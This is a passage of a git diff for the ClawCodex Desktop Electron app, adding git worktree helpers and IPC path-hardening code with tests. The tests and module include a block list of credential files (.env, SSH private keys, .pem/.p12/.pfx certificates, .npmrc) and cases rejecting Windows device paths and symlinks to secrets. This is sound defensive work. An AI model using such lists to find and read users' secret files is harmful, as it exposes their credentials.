+    execFileSync('git', ['-C', cloneDir, ...args])
+      .toString()
+      .trim()
+
+  try {
+    // Move the main checkout off `main`, which makes "origin/main" convertible.
+    // The local `main` is then free, but the request names the remote-tracking
+    // ref.
+    git('switch', '-c', 'rawr')
+    git('branch', '-D', 'main')
+
+    const result = await addWorktree(cloneDir, { existingBranch: 'origin/main' }, 'git')
+
+    // "switch home" applies to a local default branch. A remote ref always gets
+    // a new worktree, so the main checkout stays where the user put it.
+    assert.equal(result.branch, 'main')
+    assert.notEqual(fs.realpathSync(result.path), fs.realpathSync(cloneDir))
+    assert.equal(git('branch', '--show-current'), 'rawr')
+  } finally {
+    fs.rmSync(remoteDir, { recursive: true, force: true })
+    fs.rmSync(cloneDir, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/electron/git-worktree-ops.ts b/ui-desktop/electron/git-worktree-ops.ts
new file mode 100644
index 000000000..b4fcd7914
--- /dev/null
+++ b/ui-desktop/electron/git-worktree-ops.ts
@@ -0,0 +1,518 @@
+// Git-driven worktree operations for the desktop "Start work" flow: spin up a
+// fresh worktree the lightest way (`git worktree add -b`), list real worktrees,
+// and remove them. Git is the source of truth; the renderer just drives these.
+
+import { execFile } from 'node:child_process'
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { resolveRequestedPathForIpc } from './hardening'
+
+function runGit(gitBin, args, cwd): Promise<string> {
+  return new Promise((resolve, reject) => {
+    execFile(
+      gitBin,
+      args,
+      { cwd, windowsHide: true, timeout: 30_000, maxBuffer: 8 * 1024 * 1024 },
+      (err, stdout, stderr) => {
+        if (err) {
+          err.stderr = String(stderr || '')
+          reject(err)
+
+          return
+        }
+
+        resolve(String(stdout || ''))
+      }
+    )
+  })
+}
+
+// Parse `git worktree list --porcelain`. The first record is the main worktree.
+function parseWorktrees(out) {
+  const trees = []
+  let cur = null
+
+  for (const line of out.split('\n')) {
+    if (line.startsWith('worktree ')) {
+      if (cur) {
+        trees.push(cur)
+      }
+
+      cur = { path: line.slice(9).trim(), branch: null, detached: false, bare: false, locked: false }
+    } else if (!cur) {
+      continue
+    } else if (line.startsWith('branch ')) {
+      cur.branch = line
+        .slice(7)
+        .trim()
+        .replace(/^refs\/heads\//, '')
+    } else if (line === 'detached') {
+      cur.detached = true
+    } else if (line === 'bare') {
+      cur.bare = true
+    } else if (line.startsWith('locked')) {
+      cur.locked = true
+    }
+  }
+
+  if (cur) {
+    trees.push(cur)
+  }
+
+  return trees
+}
+
+async function listWorktrees(repoPath, gitBin) {
+  let resolved
+
+  try {
+    resolved = resolveRequestedPathForIpc(repoPath, { purpose: 'Worktree list' })
+  } catch {
+    return []
+  }
+
+  try {
+    const out = await runGit(gitBin, ['worktree', 'list', '--porcelain'], resolved)
+
+    return parseWorktrees(out).map((tree, index) => ({
+      path: tree.path,
+      branch: tree.branch,
+      isMain: index === 0,
+      detached: tree.detached,
+      locked: tree.locked
+    }))
+  } catch {
+    return []
+  }
+}
+
+// A git-ref-safe branch name (spaces → "-", drop forbidden chars, trim edges),
+// or "" when nothing usable remains. Mirrors the renderer's `gitRef`, so a bad
+// value can't reach `git` no matter the caller (the GUI also enforces live).
+function sanitizeBranch(name) {
+  return String(name || '')
+    .replace(/\s+/g, '-')
+    .replace(/[^\w./-]/g, '')
+    .replace(/-{2,}/g, '-')
+    .replace(/\/{2,}/g, '/')
+    .replace(/\.{2,}/g, '.')
+    .replace(/^[-./]+|[-./]+$/g, '')
+}
+
+function slugify(name) {
+  const slug = String(name || '')
+    .trim()
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, '-')
+    .replace(/^-+|-+$/g, '')
+    .slice(0, 40)
+    .replace(/-+$/g, '')
+
+  return slug || 'work'
+}
+
+const TRUNK_BRANCHES = ['main', 'master']
+
+async function gitLine(gitBin, args, cwd) {
+  try {
+    return (await runGit(gitBin, args, cwd)).trim()
+  } catch {
+    return ''
+  }
+}
+
+// True when the command exits 0. Use this function and not `gitLine` for a
+// `--quiet` probe. A `--quiet` probe prints nothing when it finds the ref, and
+// that output is the same as the output of a failure.
+async function gitOk(gitBin, args, cwd) {
+  try {
+    await runGit(gitBin, args, cwd)
+
+    return true
+  } catch {
+    return false
+  }
+}
+
+// The remote that a ref belongs to ("origin" for "origin/main"), or "" when the
+// name is not a remote-tracking ref in this repo. This function asks git. It
+// does not assume that the remote has the name "origin", because a repo can
+// give its remotes any name.
+async function remoteOfRef(gitBin, cwd, name) {
+  if (!name.includes('/')) {
+    return ''
+  }
+
+  if (!(await gitOk(gitBin, ['show-ref', '--verify', '--quiet', `refs/remotes/${name}`], cwd))) {
+    return ''
+  }
+
+  return name.slice(0, name.indexOf('/'))
+}
+
+async function defaultBranch(gitBin, cwd) {
+  const remote = (
+    await gitLine(gitBin, ['symbolic-ref', '--quiet', '--short', 'refs/remotes/origin/HEAD'], cwd)
+  ).replace(/^origin\//, '')
+
+  if (remote) {
+    return remote
+  }
+
+  const configured = await gitLine(gitBin, ['config', '--get', 'init.defaultBranch'], cwd)
+
+  if (configured) {
+    return configured
+  }
+
+  for (const branch of TRUNK_BRANCHES) {
+    if (await gitLine(gitBin, ['show-ref', '--verify', `refs/heads/${branch}`], cwd)) {
+      return branch
+    }
+  }
+
+  return ''
+}
+
+// A brand-new project folder isn't a git repo — and a freshly-init'd one has no
+// commit to branch from — so `git worktree add` would fail. Make the dir a repo
+// with a root commit on the user's behalf so worktrees "just work". No-op for a
+// repo that already has commits; never touches the user's files (the seed commit
+// is `--allow-empty`), and never inits a dir that already lives inside a repo.
+async function ensureGitRepo(gitBin, dir) {
+  let needsRoot = false
+
+  try {
+    const inside = (await runGit(gitBin, ['rev-parse', '--is-inside-work-tree'], dir)).trim()
+
+    if (inside !== 'true') {
+      await runGit(gitBin, ['init'], dir)
+      needsRoot = true
+    } else {
+      // Repo exists; a worktree still needs a HEAD to branch from.
+      try {
+        await runGit(gitBin, ['rev-parse', '--verify', 'HEAD'], dir)
+      } catch {
+        needsRoot = true
+      }
+    }
+  } catch {
+    await runGit(gitBin, ['init'], dir)
+    needsRoot = true
+  }
+
+  if (needsRoot) {
+    // Inline identity so the seed commit lands even with no global git config.
+    await runGit(
+      gitBin,
+      [
+        '-c',
+        'user.email=clawcodex@localhost',
+        '-c',
+        'user.name=ClawCodex',
+        'commit',
+        '--allow-empty',
+        '-m',
+        'Initial commit'
+      ],
+      dir
+    )
+  }
+}
+
+// Resolve the repo's MAIN worktree root, so `.worktrees/` always nests under the
+// primary checkout even when called from a linked worktree.
+async function mainRoot(gitBin, cwd) {
+  const list = await listWorktrees(cwd, gitBin)
+  const main = list.find(tree => tree.isMain)
+
+  return main ? main.path : cwd
+}
+
+function uniqueDir(base) {
+  let dir = base
+  let n = 1
+
+  while (fs.existsSync(dir)) {
+    n += 1
+    dir = `${base}-${n}`
+  }
+
+  return dir
+}
+
+async function addExistingBranchWorktree(gitBin, root, name) {
+  const requested = sanitizeBranch(name)
+
+  if (!requested) {
+    throw new Error('Branch name is required.')
+  }
+
+  // "origin/feature" is a remote-tracking ref and not a branch that git can
+  // check out. `git worktree add <dir> origin/feature` detaches HEAD. Make a
+  // local branch with the same short name that tracks the remote ref. This is
+  // what `git switch feature` does for a branch on exactly one remote.
+  const remote = await remoteOfRef(gitBin, root, requested)
+  const branch = remote ? requested.slice(remote.length + 1) : requested
+
+  if (!remote && branch === (await defaultBranch(gitBin, root))) {
+    await runGit(gitBin, ['switch', branch], root)
+
+    return { path: root, branch, repoRoot: root }
+  }
+
+  const dir = uniqueDir(path.join(root, '.worktrees', slugify(branch)))
+
+  if (remote) {
+    // The remote-tracking ref is stale if the user did not fetch recently. This
+    // fetch is best effort: after a failure, the last known ref is still there
+    // to branch from.
+    try {
+      await runGit(gitBin, ['fetch', remote, branch], root)
+    } catch {
+      // The user is offline, or the branch is gone from the remote. Use the ref
+      // that the repo already has.
+    }
+
+    await runGit(gitBin, ['worktree', 'add', '--track', '-b', branch, dir, requested], root)
+
+    return { path: dir, branch, repoRoot: root }
+  }
+
+  await runGit(gitBin, ['worktree', 'add', dir, branch], root)
+
+  return { path: dir, branch, repoRoot: root }
+}
+
+async function addWorktree(repoPath, options, gitBin) {
+  const resolved = resolveRequestedPathForIpc(repoPath, { purpose: 'Worktree add' })
+  // A new project's folder may not be a git repo yet — init it (with a root
+  // commit) so the worktree has something to branch from.
+  await ensureGitRepo(gitBin, resolved)
+  const root = await mainRoot(gitBin, resolved)
+  const opts = options || {}
+
+  if (opts.existingBranch) {
+    return addExistingBranchWorktree(gitBin, root, opts.existingBranch)
+  }
+
+  const slug = slugify(opts.name || `work-${Date.now().toString(36)}`)
+  const branch = sanitizeBranch(opts.branch) || `clawcodex/${slug}`
+  const dir = uniqueDir(path.join(root, '.worktrees', slug))
+
+  const args = ['worktree', 'add', '-b', branch, dir]
+
+  if (opts.base) {
+    // Remote-tracking branches may be stale or missing if the user hasn't
+    // fetched recently. When the base is an `origin/…` ref, fetch just that
+    // branch so `git worktree add -b new origin/main` works against the
+    // latest remote commit. Local branches are used as-is.
+    const base = String(opts.base)
+
+    if (base.startsWith('origin/')) {
+      const remoteBranch = base.slice('origin/'.length)
+
+      try {
+        await runGit(gitBin, ['fetch', 'origin', remoteBranch], root)
+      } catch {
+        // The fetch isn't mandatory, but it would be nice to do if possible.
+        // If it's not possible, just use the local ref of the remote branch.
+        // If it doesn't exist locally, we'll get an error
+      }
+
+      // When branching off a remote-tracking ref, git auto-sets up tracking
+      // (e.g. `new-branch` → tracks `origin/main`). The user almost certainly
+      // wants a standalone local branch — like `git checkout origin/main &&
+      // git checkout -b new-branch` — not a branch silently wired to the
+      // remote's upstream. `--no-track` prevents that.
+      args.push('--no-track')
+    }
+
+    args.push(base)
+  }
+
+  try {
+    await runGit(gitBin, args, root)
+  } catch (err) {
+    // Branch name may already exist — retry checking out the existing branch
+    // into a fresh worktree dir instead of failing the whole flow.
+    if (/already exists/i.test(err.stderr || '')) {
+      await runGit(gitBin, ['worktree', 'add', dir, branch], root)
+    } else {
+      throw err
+    }
+  }
+
+  return { path: dir, branch, repoRoot: root }
+}
+
+async function removeWorktree(repoPath, worktreePath, options, gitBin) {
+  const resolvedRepo = resolveRequestedPathForIpc(repoPath, { purpose: 'Worktree remove (repo)' })
+  const resolvedTree = resolveRequestedPathForIpc(worktreePath, { purpose: 'Worktree remove (tree)' })
+  const root = await mainRoot(gitBin, resolvedRepo)
+  const args = ['worktree', 'remove']
+
+  if (options && options.force) {
+    args.push('--force')
+  }
+
+  args.push(resolvedTree)
+  await runGit(gitBin, args, root)
+
+  return { removed: resolvedTree }
+}
+
+// List the branches for the "convert a branch into a worktree" picker, most
+// recently committed first. The local heads come first. Then come the
+// remote-tracking refs that have no local branch yet. This is the same set that
+// the base-branch picker offers, so "convert" can reach a teammate's branch
+// that the user did not check out.
+// Each branch carries a flag for a checkout in a worktree, and the path of that
+// worktree. Empty on a non-repo or a remote backend, where the probe cannot
+// run.
+async function listBranches(repoPath, gitBin) {
+  let resolved
+
+  try {
+    resolved = resolveRequestedPathForIpc(repoPath, { purpose: 'Branch list' })
+  } catch {
+    return []
+  }
+
+  try {
+    const [localOut, remoteOut] = await Promise.all([
+      runGit(gitBin, ['for-each-ref', '--format=%(refname:short)', '--sort=-committerdate', 'refs/heads'], resolved),
+      runGit(gitBin, ['for-each-ref', '--format=%(refname:short)', '--sort=-committerdate', 'refs/remotes'], resolved)
+    ])
+
+    const trees = await listWorktrees(resolved, gitBin)
+    const pathByBranch = new Map(trees.filter(tree => tree.branch).map(tree => [tree.branch, tree.path]))
+    const trunk = await defaultBranch(gitBin, resolved)
+
+    const names = (out: string) =>
+      out
+        .split('\n')
+        .map(line => line.trim())
+        .filter(Boolean)
+
+    const locals = names(localOut)
+    const localSet = new Set(locals)
+
+    const remotes = names(remoteOut).filter(name => {
+      // "origin/HEAD" is a symbolic alias for the default branch of the remote.
+      // It is not a branch, and it shows in the list as a duplicate.
+      if (name.endsWith('/HEAD')) {
+        return false
+      }
+
+      // The user reaches a remote branch that they track locally through its
+      // local head. To list both is noise, and a checkout of the
+      // remote-tracking ref detaches HEAD.
+      return !localSet.has(name.slice(name.indexOf('/') + 1))
+    })
+
+    return [
+      ...locals.map(name => ({
+        name,
+        checkedOut: pathByBranch.has(name),
+        isDefault: Boolean(trunk && name === trunk),
+        isRemote: false,
+        worktreePath: pathByBranch.get(name) || null
+      })),
+      ...remotes.map(name => ({
+        // A remote branch has no local checkout, and it cannot be the local
+        // trunk. It is therefore never checked out and never the default.
+        name,
+        checkedOut: false,
+        isDefault: false,
+        isRemote: true,
+        worktreePath: null
+      }))
+    ]
+  } catch {
+    return []
+  }
+}
+
+async function switchBranch(repoPath, branch, gitBin) {
+  const resolved = resolveRequestedPathForIpc(repoPath, { purpose: 'Branch switch' })
+  const target = sanitizeBranch(branch)
+
+  if (!target) {
+    throw new Error('Branch name is required.')
+  }
+
+  await runGit(gitBin, ['switch', target], resolved)
+
+  return { branch: target }
+}
+
+// Branches the new worktree can be based on: local heads + remote-tracking
+// refs. Listed most-recently-committed first; the remote's default branch
+// (origin/HEAD) is flagged so the UI can preselect it. Empty on a non-repo /
+// remote backend where the probe can't run.
+async function listBaseBranches(repoPath, gitBin) {
+  let resolved
+
+  try {
+    resolved = resolveRequestedPathForIpc(repoPath, { purpose: 'Base branch list' })
+  } catch {
+    return []
+  }
+
+  try {
+    const out = await runGit(
+      gitBin,
+      [
+        'for-each-ref',
+        '--format=%(refname:short)\t%(committerdate:iso)',
+        '--sort=-committerdate',
+        'refs/heads',
+        'refs/remotes'
+      ],
+      resolved
+    )
+
+    const remoteDefault = await gitLine(
+      gitBin,
+      ['symbolic-ref', '--quiet', '--short', 'refs/remotes/origin/HEAD'],
+      resolved
+    )
+
+    const localDefault = await defaultBranch(gitBin, resolved)
+
+    return out
+      .split('\n')
+      .map(line => line.trim())
+      .filter(Boolean)
+      .map(line => {
+        const [name] = line.split('\t')
+
+        return {
+          name,
+          isRemote: name.startsWith('origin/'),
+          // origin/HEAD when a remote exists; otherwise the local default
+          // (main/master/init.defaultBranch) so a no-remote repo still flags
+          // its trunk.
+          isDefault: Boolean(
+            (remoteDefault && name === remoteDefault) || (!remoteDefault && localDefault && name === localDefault)
+          )
+        }
+      })
+  } catch {
+    return []
+  }
+}
+
+export {
+  addWorktree,
+  ensureGitRepo,
+  listBaseBranches,
+  listBranches,
+  listWorktrees,
+  parseWorktrees,
+  removeWorktree,
+  sanitizeBranch,
+  switchBranch
+}
diff --git a/ui-desktop/electron/hardening.test.ts b/ui-desktop/electron/hardening.test.ts
new file mode 100644
index 000000000..93b3aadbd
--- /dev/null
+++ b/ui-desktop/electron/hardening.test.ts
@@ -0,0 +1,354 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { pathToFileURL } from 'node:url'
+
+import { test } from 'vitest'
+
+import {
+  ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES,
+  clampDataUrlReadMaxMb,
+  DATA_URL_READ_DEFAULT_MAX_MB,
+  dataUrlReadMaxBytesFromMb,
+  DEFAULT_FETCH_TIMEOUT_MS,
+  encryptDesktopSecret,
+  readFileDataUrlForIpc,
+  resolveDirectoryForIpc,
+  resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
+  resolveTimeoutMs,
+  sensitiveFileBlockReason
+} from './hardening'
+
+async function rejectsWithCode(promise, code: string) {
+  await assert.rejects(promise, (error: any) => {
+    assert.equal(error?.code, code)
+
+    return true
+  })
+}
+
+test('clampDataUrlReadMaxMb defaults and bounds the attach size preference', () => {
+  assert.equal(clampDataUrlReadMaxMb(undefined), DATA_URL_READ_DEFAULT_MAX_MB)
+  assert.equal(clampDataUrlReadMaxMb(0), 1)
+  assert.equal(clampDataUrlReadMaxMb(256), 256)
+  assert.equal(clampDataUrlReadMaxMb(99999), 4096)
+  assert.equal(dataUrlReadMaxBytesFromMb(16), 16 * 1024 * 1024)
+})
+
+test('attachment upload cap is bounded above the preview default', () => {
+  assert.equal(ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES, 256 * 1024 * 1024)
+  assert.ok(ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES > dataUrlReadMaxBytesFromMb(DATA_URL_READ_DEFAULT_MAX_MB))
+})
+
+test('attachment data URL helper reads bytes above the preview default without changing that limit', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-large-attachment-'))
+  const source = path.join(tempDir, 'large.bin')
+  const previewLimit = dataUrlReadMaxBytesFromMb(DATA_URL_READ_DEFAULT_MAX_MB)
+  const content = Buffer.alloc(previewLimit + 1024, 0x5a)
+
+  try {
+    fs.writeFileSync(source, content)
+
+    await assert.rejects(
+      resolveReadableFileForIpc(source, {
+        maxBytes: previewLimit,
+        purpose: 'File preview'
+      }),
+      /file is too large/
+    )
+
+    const dataUrl = await readFileDataUrlForIpc(source, {
+      maxBytes: ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES,
+      mimeType: 'application/octet-stream',
+      purpose: 'Attachment upload'
+    })
+
+    assert.match(dataUrl, /^data:application\/octet-stream;base64,/)
+    assert.deepEqual(Buffer.from(dataUrl.slice(dataUrl.indexOf(',') + 1), 'base64'), content)
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
+
+test('resolveTimeoutMs falls back to defaults and accepts overrides', () => {
+  assert.equal(resolveTimeoutMs(undefined), DEFAULT_FETCH_TIMEOUT_MS)
+  assert.equal(resolveTimeoutMs(0), DEFAULT_FETCH_TIMEOUT_MS)
+  assert.equal(resolveTimeoutMs(-25), DEFAULT_FETCH_TIMEOUT_MS)
+  assert.equal(resolveTimeoutMs('2750'), 2750)
+})
+
+test('encryptDesktopSecret requires available secure storage', () => {
+  assert.equal(
+    encryptDesktopSecret('', { isEncryptionAvailable: () => true, encryptString: () => Buffer.alloc(0) }),
+    null
+  )
+
+  assert.throws(
+    () => encryptDesktopSecret('token', { isEncryptionAvailable: () => false, encryptString: () => Buffer.alloc(0) }),
+    /Secure token storage is unavailable/
+  )
+})
+
+test('encryptDesktopSecret stores safeStorage base64 payload', () => {
+  const secret = encryptDesktopSecret('token-123', {
+    isEncryptionAvailable: () => true,
+    encryptString: value => Buffer.from(`enc:${value}`, 'utf8')
+  })
+
+  assert.deepEqual(secret, {
+    encoding: 'safeStorage',
+    value: Buffer.from('enc:token-123', 'utf8').toString('base64')
+  })
+})
+
+test('sensitiveFileBlockReason blocks obvious secret file patterns', () => {
+  assert.match(String(sensitiveFileBlockReason('/tmp/.env')), /\.env/)
+  assert.equal(sensitiveFileBlockReason('/tmp/.env.example'), null)
+  assert.match(String(sensitiveFileBlockReason('/Users/me/.ssh/id_ed25519')), /SSH/)
+  assert.match(String(sensitiveFileBlockReason('/tmp/server-cert.pem')), /\.pem/)
+})
+
+test('path helpers reject blank non-string NUL and Windows device syntax', async () => {
+  await rejectsWithCode(resolveReadableFileForIpc('', { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc('   ', { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc(null, { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc(`safe${String.fromCharCode(0)}name.txt`), 'invalid-path')
+
+  const devicePaths = [
+    '\\\\?\\C:\\secret.txt',
+    '\\\\.\\C:\\secret.txt',
+    '\\\\?\\UNC\\server\\share\\secret.txt',
+    'GLOBALROOT/Device/HarddiskVolumeShadowCopy1/secret.txt'
+  ]
+
+  for (const devicePath of devicePaths) {
+    assert.throws(
+      () => resolveRequestedPathForIpc(devicePath, { purpose: 'File preview' }),
+      (error: any) => {
+        assert.equal(error?.code, 'device-path')
+
+        return true
+      }
+    )
+    await rejectsWithCode(resolveReadableFileForIpc(devicePath, { purpose: 'File preview' }), 'device-path')
+  }
+
+  assert.throws(
+    () => resolveRequestedPathForIpc('file:///%E0%A4%A', { purpose: 'File preview' }),
+    (error: any) => {
+      assert.equal(error?.code, 'invalid-path')
+
+      return true
+    }
+  )
+  await rejectsWithCode(resolveReadableFileForIpc('file:///%E0%A4%A', { purpose: 'File preview' }), 'invalid-path')
+})
+
+test('resolveRequestedPathForIpc resolves relative paths from the trimmed base directory', () => {
+  const baseDir = path.join(os.tmpdir(), 'clawcodex-desktop-base')
+
+  assert.equal(
+    resolveRequestedPathForIpc('notes.txt', {
+      baseDir: `  ${baseDir}  `,
+      purpose: 'File preview'
+    }),
+    path.resolve(baseDir, 'notes.txt')
+  )
+})
+
+test('resolveRequestedPathForIpc expands ~ to the home directory', () => {
+  assert.equal(resolveRequestedPathForIpc('~', { purpose: 'Directory read' }), path.resolve(os.homedir()))
+  assert.equal(
+    resolveRequestedPathForIpc('~/www/project', { purpose: 'Directory read' }),
+    path.resolve(os.homedir(), 'www/project')
+  )
+  // `~user` shorthand is NOT expanded — only the caller's own home.
+  assert.equal(
+    resolveRequestedPathForIpc('~other/secret', { baseDir: os.tmpdir(), purpose: 'Directory read' }),
+    path.resolve(os.tmpdir(), '~other/secret')
+  )
+})
+
+test('resolveReadableFileForIpc validates existence type size and sensitivity', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-hardening-'))
+
+  try {
+    const textPath = path.join(tempDir, 'notes.txt')
+    fs.writeFileSync(textPath, 'hello world', 'utf8')
+
+    const fromRelative = await resolveReadableFileForIpc('notes.txt', {
+      baseDir: tempDir,
+      maxBytes: 256,
+      purpose: 'File preview'
+    })
+
+    assert.equal(fromRelative.resolvedPath, textPath)
+    assert.equal(fromRelative.stat.size, 11)
+
+    const fromFileUrl = await resolveReadableFileForIpc(pathToFileURL(textPath).toString(), {
+      purpose: 'File preview'
+    })
+
+    assert.equal(fromFileUrl.resolvedPath, textPath)
+
+    const spacedPath = path.join(tempDir, 'notes with spaces.txt')
+    fs.writeFileSync(spacedPath, 'space ok', 'utf8')
+
+    const fromSpacedFileUrl = await resolveReadableFileForIpc(pathToFileURL(spacedPath).toString(), {
+      purpose: 'File preview'
+    })
+
+    assert.equal(fromSpacedFileUrl.resolvedPath, spacedPath)
+
+    await assert.rejects(
+      resolveReadableFileForIpc('missing.txt', {
+        baseDir: tempDir,
+        purpose: 'Text preview'
+      }),
+      /file does not exist/
+    )
+
+    const nestedDir = path.join(tempDir, 'directory')
+    fs.mkdirSync(nestedDir)
+    await assert.rejects(
+      resolveReadableFileForIpc(nestedDir, {
+        purpose: 'Text preview'
+      }),
+      /path points to a directory/
+    )
+
+    const largePath = path.join(tempDir, 'large.txt')
+    fs.writeFileSync(largePath, 'x'.repeat(40), 'utf8')
+    await assert.rejects(
+      resolveReadableFileForIpc(largePath, {
+        maxBytes: 8,
+        purpose: 'File preview'
+      }),
+      /file is too large/
+    )
+
+    const envPath = path.join(tempDir, '.env')
+    fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
+    await assert.rejects(
+      resolveReadableFileForIpc(envPath, {
+        purpose: 'File preview'
+      }),
+      /blocked for sensitive file/
+    )
+
+    const envTemplatePath = path.join(tempDir, '.env.example')
+    fs.writeFileSync(envTemplatePath, 'EXAMPLE_TOKEN=value', 'utf8')
+
+    const envTemplate = await resolveReadableFileForIpc(envTemplatePath, {
+      purpose: 'File preview'
+    })
+
+    assert.equal(envTemplate.resolvedPath, envTemplatePath)
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
+
+test('resolveReadableFileForIpc blocks common sensitive files', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-sensitive-'))
+
+  try {
+    const sshDir = path.join(tempDir, '.ssh')
+    fs.mkdirSync(sshDir)
+
+    const blockedFiles = [
+      path.join(tempDir, '.env'),
+      path.join(tempDir, '.npmrc'),
+      path.join(sshDir, 'id_ed25519'),
+      path.join(tempDir, 'cert.pem'),
+      path.join(tempDir, 'cert.p12'),
+      path.join(tempDir, 'cert.pfx')
+    ]
+
+    for (const filePath of blockedFiles) {
+      fs.writeFileSync(filePath, 'secret', 'utf8')
+      await rejectsWithCode(resolveReadableFileForIpc(filePath, { purpose: 'File preview' }), 'sensitive-file')
+    }
+
+    const allowed = path.join(tempDir, '.env.example')
+    fs.writeFileSync(allowed, 'EXAMPLE_TOKEN=value', 'utf8')
+    assert.equal((await resolveReadableFileForIpc(allowed, { purpose: 'File preview' })).resolvedPath, allowed)
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
+
+test('resolveReadableFileForIpc blocks symlinks whose realpath is sensitive', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-realpath-'))
+
+  try {
+    const envPath = path.join(tempDir, '.env')
+    const linkPath = path.join(tempDir, 'safe-name.txt')
+    fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
+
+    try {
+      fs.symlinkSync(envPath, linkPath, 'file')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        // symlink creation is not permitted on this platform — skip
+        return
+      }
+
+      throw error
+    }
+
+    await rejectsWithCode(resolveReadableFileForIpc(linkPath, { purpose: 'File preview' }), 'sensitive-file')
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
+
+test('resolveDirectoryForIpc accepts directories and rejects invalid directory targets', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-dir-'))
+
+  try {
+    const directory = path.join(tempDir, 'project')
+    const filePath = path.join(tempDir, 'file.txt')
+    fs.mkdirSync(directory)
+    fs.writeFileSync(filePath, 'not a directory', 'utf8')
+
+    const resolved = await resolveDirectoryForIpc(directory)
+    assert.equal(resolved.resolvedPath, directory)
+    assert.equal(resolved.stat.isDirectory(), true)
+
+    await rejectsWithCode(resolveDirectoryForIpc(filePath), 'ENOTDIR')
+    await rejectsWithCode(resolveDirectoryForIpc(path.join(tempDir, 'missing')), 'ENOENT')
+    await rejectsWithCode(resolveDirectoryForIpc('\\\\?\\C:\\secret'), 'device-path')
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
+
+test('resolveDirectoryForIpc accepts directory symlinks or junctions', async () => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-desktop-dir-link-'))
+
+  try {
+    const directory = path.join(tempDir, 'actual-project')
+    const linkPath = path.join(tempDir, 'linked-project')
+    fs.mkdirSync(directory)
+
+    try {
+      fs.symlinkSync(directory, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        // directory symlink creation is not permitted on this platform — skip
+        return
+      }
+
+      throw error
+    }
+
+    const resolved = await resolveDirectoryForIpc(linkPath)
+    assert.equal(resolved.resolvedPath, linkPath)
+    assert.equal(resolved.stat.isDirectory(), true)
+  } finally {
+    fs.rmSync(tempDir, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/electron/hardening.ts b/ui-desktop/electron/hardening.ts
new file mode 100644
index 000000000..81179b278
--- /dev/null
+++ b/ui-desktop/electron/hardening.ts
@@ -0,0 +1,366 @@
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { fileURLToPath } from 'node:url'
+
+const DEFAULT_FETCH_TIMEOUT_MS = 15_000
+// Default / floor / ceiling for Desktop's data-URL file load (composer attach,
+// image preview, etc.). The whole file is base64-buffered in main, so this is
+// a memory guard — not a model limit. Settings → Chat takes a free-form MB
+// value; 16 MB ships as default. The ceiling is only a typo guard (very large
+// values can OOM / crash the app).
+const DATA_URL_READ_DEFAULT_MAX_MB = 16
+const DATA_URL_READ_MIN_MAX_MB = 1
+const DATA_URL_READ_MAX_MAX_MB = 4096
+// Remote file.attach sends one base64 JSON-RPC frame. Cap the dedicated attach
+// reader so the payload still fits uvicorn's raised ws_max_size (384 MiB)
+// after base64 + framing. Preview stays on the Settings-configurable path.
+const ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES = 256 * 1024 * 1024
+const TEXT_PREVIEW_SOURCE_MAX_BYTES = 64 * 1024 * 1024
+
+function clampDataUrlReadMaxMb(value) {
+  const parsed = Number(value)
+
+  if (!Number.isFinite(parsed)) {
+    return DATA_URL_READ_DEFAULT_MAX_MB
+  }
+
+  return Math.min(DATA_URL_READ_MAX_MAX_MB, Math.max(DATA_URL_READ_MIN_MAX_MB, Math.round(parsed)))
+}
+
+function dataUrlReadMaxBytesFromMb(maxMb) {
+  return clampDataUrlReadMaxMb(maxMb) * 1024 * 1024
+}
+
+const SAFE_ENV_SUFFIXES = new Set(['dist', 'example', 'sample', 'template'])
+const SENSITIVE_EXTENSIONS = new Set(['.kdbx', '.p12', '.pem', '.pfx'])
+
+function resolveTimeoutMs(timeoutMs, fallbackMs = DEFAULT_FETCH_TIMEOUT_MS) {
+  const fallback =
+    Number.isFinite(fallbackMs) && Number(fallbackMs) > 0 ? Math.round(Number(fallbackMs)) : DEFAULT_FETCH_TIMEOUT_MS
+
+  const parsed = Number(timeoutMs)
+
+  if (Number.isFinite(parsed) && parsed > 0) {
+    return Math.round(parsed)
+  }
+
+  return fallback
+}
+
+function encryptDesktopSecret(value, safeStorageApi) {
+  const raw = String(value || '')
+
+  if (!raw) {
+    return null
+  }
+
+  let encryptionAvailable = false
+
+  try {
+    encryptionAvailable = Boolean(safeStorageApi?.isEncryptionAvailable?.())
+  } catch {
+    encryptionAvailable = false
+  }
+
+  if (!encryptionAvailable) {
+    throw new Error(
+      'Secure token storage is unavailable, so ClawCodex Desktop cannot save remote gateway tokens. ' +
